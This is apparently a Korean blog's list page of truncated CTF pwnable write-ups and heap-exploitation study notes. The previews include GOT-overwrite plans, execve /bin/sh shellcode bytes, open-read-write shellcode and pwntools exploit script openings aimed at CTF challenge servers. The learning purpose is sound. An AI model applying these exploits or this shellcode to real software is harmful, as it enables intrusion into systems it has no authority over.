목록분류 전체보기 (53)
hOwDayS 선린 10720
보호되어 있는 글입니다.
소개 디미고에서 CTF한다는 소식을 나중에 알고(주변 이쪽분야 지인이 없다...) 참가했는데 포너블 풀다가 끄적끄적 한문제 적어본다..보호 기법 RELRO Partial RELROStack Canary No Canary NX NX enabled PIE No Pie 분석 메뉴 fight trainning winner winner 함수에 read에서 취약점이 생기므로 winner를 실행시키긴 위해선 trainning을 통해 power를 800을 넘기면 된다 Leak Leak libc , using puts_got Exploit 1. write /bin/sh on bss 2. overwrite read_got to system 3. run read_plt Exploit Code 서버 환경에 맞추기위해 s.re..
소개 how2heap으로 unsorted bin , fastbin 을 공부하고 관련 문제가 있다고 하길래 찾아서 다른 분들의 Write-up을 참고하여 풀어 보았다. 보호 기법 RELRO FULL RELROStack Canary Canary Found NX NX Enabled PIE PIE Enabled 분석 1.Allocate- Size :-> Result { Allocate (calloc) index n (n은 index 번호) }2.Fill- index :- (Vulnerable!) Size : - Content : 3.Free- index : 4. Dump- index : -> Result { print content of index n }5. Exit-> ExitLeak Leak은 2번 Fill..
제가 이해할 수 있도록 쓴 글 입니다. 필력..부족.. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#include #include #include #include uint64_t *chunk0_ptr; int main(){ fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); fprintf(stderr, "This technique can be used when you h..
보호되어 있는 글입니다.
대회에 참가했을 당시 포너블 할 줄 몰라서 못풀었는데 최근 포너블 공부하면서 CTF문제 찾다가 ROOTCTF가 떠올라 풀게 되었다 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687from pwn import * #p = remote("222.110.147.52",6975)p = process("./sandbag")e = ELF("./sandbag")libc = ELF("/lib/i386-linux-gnu/libc.so.6") pr = 0x8048f66pppr =..
저의 방식대로 이해하고 쓴 것 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#include #include int main(){ fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", ..
123456789101112131415161718192021222324252627282930313233#include #include int main(void) { printf("이 파일은 fastbin에서의 간단한 double-free 공격을 보여줍니다.\n"); printf("먼저 세 개의 버퍼를 할당합니다.\n"); int* a = malloc(8); int* b = malloc(8); int* c = malloc(8); printf("첫 번째 malloc(8): %p\n", a); printf("두 번째 malloc(8): %p\n", b); printf("세 번째 malloc(8): %p\n", c); printf("그 다음 첫 번째를 free합니다.\n"); free(a); printf("만약..
쉘코드를 만드는 연습을 해봤다.. syscall은 https://syscalls.kernelgrok.com/ 를 참고하자. 1234567891011121314151617181920212223242526272829from pwn import * #p = process("./orw")p = remote("chall.pwnable.tw",10001) payload = asm("xor ecx , ecx ; xor edx , edx; xor eax , eax; xor ebx , ebx")payload += asm("push 0") # /home/orw///flagpayload += asm("push 0x67616c66")payload += asm("push 0x2f2f7772")payload += asm("pus..
sendline 대신 send를 애용하자.. 1234567891011121314151617181920212223242526272829from pwn import * context(arch='i386',os='linux') p = process("./start") mov_esp_ecx = 0x08048087 #Start addr of Stack p.recvuntil(':') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload = "\x90" * 0x14 #buf_1payload += p32(mov_esp_ecx) #st..